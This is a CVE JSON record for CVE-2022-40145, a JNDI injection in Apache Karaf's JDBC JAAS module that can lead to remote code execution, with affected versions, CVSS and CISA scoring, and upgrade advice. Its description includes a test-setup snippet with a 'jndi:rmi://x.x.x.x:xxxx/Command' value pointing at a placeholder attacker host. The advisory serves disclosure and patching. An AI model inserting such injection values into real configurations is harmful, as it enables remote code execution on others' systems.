Show plain JSON{"dataType": "CVE_RECORD", "dataVersion": "5.1", "cveMetadata": {"cveId": "CVE-2022-40145", "assignerOrgId": "f0158376-9dc2-43b6-827c-5f631a4d8d09", "state": "PUBLISHED", "assignerShortName": "apache", "dateReserved": "2022-09-07T08:02:30.677Z", "datePublished": "2022-12-21T15:23:42.847Z", "dateUpdated": "2025-04-15T18:03:47.618Z"}, "containers": {"cna": {"affected": [{"defaultStatus": "unaffected", "product": "Apache Karaf", "vendor": "Apache Software Foundation", "versions": [{"lessThan": "4.4.2", "status": "affected", "version": "4.4.0", "versionType": "maven"}, {"lessThan": "4.3.8", "status": "affected", "version": "0", "versionType": "maven"}]}], "credits": [{"lang": "en", "type": "reporter", "value": "Xun Bai <bbbbear68@gmail.com>"}], "descriptions": [{"lang": "en", "supportingMedia": [{"base64": false, "type": "text/html", "value": "<span style=\"background-color: rgb(255, 255, 255);\">This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.<br><br>The function jaas.modules.src.main.java.por</span><span style=\"background-color: rgb(255, 255, 255);\">g.apache.karaf.jass.modules.</span><span style=\"background-color: rgb(255, 255, 255);\">jdbc.JDBCUtils#doCreateDatasou</span><span style=\"background-color: rgb(255, 255, 255);\">rce</span><br><span style=\"background-color: rgb(255, 255, 255);\">use InitialContext.lookup(jndiName</span><span style=\"background-color: rgb(255, 255, 255);\">) without filtering.<br>An user can modify </span><span style=\"background-color: rgb(255, 255, 255);\">`options.put(JDBCUtils.DATASOU</span><span style=\"background-color: rgb(255, 255, 255);\">RCE, \"osgi:\" + </span><span style=\"background-color: rgb(255, 255, 255);\">DataSource.class.getName());` to `options.put(JDBCUtils.DATASOU</span><span style=\"background-color: rgb(255, 255, 255);\">RCE,</span><span style=\"background-color: rgb(255, 255, 255);\">\"jndi:rmi://x.x.x.x:xxxx/Comma</span><span style=\"background-color: rgb(255, 255, 255);\">nd\");` in JdbcLoginModuleTest#setup.</span><br><br><span style=\"background-color: rgb(255, 255, 255);\">This is vulnerable to a remote code execution (RCE) attack when a</span><br><span style=\"background-color: rgb(255, 255, 255);\">configuration uses a JNDI LDAP data source URI when an attacker has</span><br><span style=\"background-color: rgb(255, 255, 255);\">control of the target LDAP server.</span><p>This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.</p>We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8"}], "value": "This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.\n\nThe function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource\nuse InitialContext.lookup(jndiName) without filtering.\nAn user can modify\u00a0`options.put(JDBCUtils.DATASOURCE, \"osgi:\" +\u00a0DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in JdbcLoginModuleTest#setup.\n\nThis is vulnerable to a remote code execution (RCE) attack when a\nconfiguration uses a JNDI LDAP data source URI when an attacker has\ncontrol of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.\n\nWe encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8"}], "metrics": [{"other": {"content": {"text": "low"}, "type": "Textual description of severity"}}], "problemTypes": [{"descriptions": [{"cweId": "CWE-74", "description": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')", "lang": "en", "type": "CWE"}]}, {"descriptions": [{"cweId": "CWE-20", "description": "CWE-20 Improper Input Validation", "lang": "en", "type": "CWE"}]}], "providerMetadata": {"orgId": "f0158376-9dc2-43b6-827c-5f631a4d8d09", "shortName": "apache", "dateUpdated": "2022-12-21T15:23:42.847Z"}, "references": [{"tags": ["vendor-advisory"], "url": "https://karaf.apache.org/security/cve-2022-40145.txt"}], "source": {"defect": ["KARAF-7568"], "discovery": "EXTERNAL"}, "title": "Apache Karaf: JDBC JAAS LDAP injection", "x_generator": {"engine": "Vulnogram 0.1.0-dev"}}, "adp": [{"providerMetadata": {"orgId": "af854a3a-2127-422b-91ae-364da2661108", "shortName": "CVE", "dateUpdated": "2024-08-03T12:14:39.957Z"}, "title": "CVE Program Container", "references": [{"tags": ["vendor-advisory", "x_transferred"], "url": "https://karaf.apache.org/security/cve-2022-40145.txt"}]}, {"metrics": [{"cvssV3_1": {"scope": "UNCHANGED", "version": "3.1", "baseScore": 9.8, "attackVector": "NETWORK", "baseSeverity": "CRITICAL", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "integrityImpact": "HIGH", "userInteraction": "NONE", "attackComplexity": "LOW", "availabilityImpact": "HIGH", "privilegesRequired": "NONE", "confidentialityImpact": "HIGH"}}, {"other": {"type": "ssvc", "content": {"timestamp": "2025-04-15T18:02:30.458673Z", "id": "CVE-2022-40145", "options": [{"Exploitation": "none"}, {"Automatable": "yes"}, {"Technical Impact": "total"}], "role": "CISA Coordinator", "version": "2.0.3"}}}], "title": "CISA ADP Vulnrichment", "providerMetadata": {"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "shortName": "CISA-ADP", "dateUpdated": "2025-04-15T18:03:47.618Z"}}]}}